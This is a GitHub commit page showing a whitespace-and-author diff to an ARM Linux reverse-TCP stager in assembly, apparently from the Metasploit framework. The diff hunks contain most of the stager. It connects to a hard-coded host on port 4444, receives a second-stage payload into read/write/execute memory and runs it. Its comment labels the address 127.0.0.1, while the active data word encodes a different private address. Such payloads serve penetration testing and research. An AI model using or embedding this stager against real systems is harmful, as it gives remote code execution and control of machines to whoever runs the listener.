Skip to content

Commit 1773a5f

Browse files
committed
fix indent
1 parent 4647f34 commit 1773a5f

File tree

1 file changed

+6
-6
lines changed

1 file changed

+6
-6
lines changed

external/source/shellcode/linux/armle/stager_sock_reverse.s

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
@
33
@ Name: stager_sock_reverse
44
@ Qualities: -
5-
@ Authors: nemo <nemo [at] felinemenace.org>
5+
@ Authors: nemo <nemo [at] felinemenace.org>, tkmru
66
@ License: MSF_LICENSE
77
@ Description:
88
@
@@ -37,15 +37,15 @@ _start:
3737
cmp r0, #0
3838
blt failed
3939
@ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
40-
mov r12,r0 @ sockfd
40+
mov r12,r0 @ sockfd
4141
add r7,#2 @ __NR_socket
4242
add r1,pc,#196 @ *addr
4343
mov r2,#16 @ addrlen
4444
swi 0
4545
cmp r0, #0
4646
blt failed
4747
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
48-
mov r0,r12 @ sockfd
48+
mov r0,r12 @ sockfd
4949
sub sp,#4
5050
add r7,#8 @ __NR_recv
5151
mov r1,sp @ *buf (on the stack)
@@ -65,7 +65,7 @@ _start:
6565
mov r7, #192 @ __NR_mmap2
6666
ldr r0,=0xffffffff @ *addr = NULL
6767
mov r2,#7 @ prot = PROT_READ | PROT_WRITE | PROT_EXEC
68-
ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE
68+
ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE
6969
mov r4,r0 @ fd
7070
mov r5,#0 @ pgoffset
7171
swi 0
@@ -85,7 +85,7 @@ loop:
8585
cmp r2, #0
8686
ble last
8787
mov r2,#1000 @ len
88-
swi 0
88+
swi 0
8989
cmp r0, #0
9090
blt failed
9191
b loop
@@ -102,7 +102,7 @@ failed:
102102
swi 0
103103
@ addr
104104
@ port: 4444 , sin_fam = 2
105-
.word 0x5c110002
105+
.word 0x5c110002
106106
@ ip: 127.0.0.1
107107
.word 0x01aca8c0
108108
@.word 0x0100007f

0 commit comments

Comments
 (0)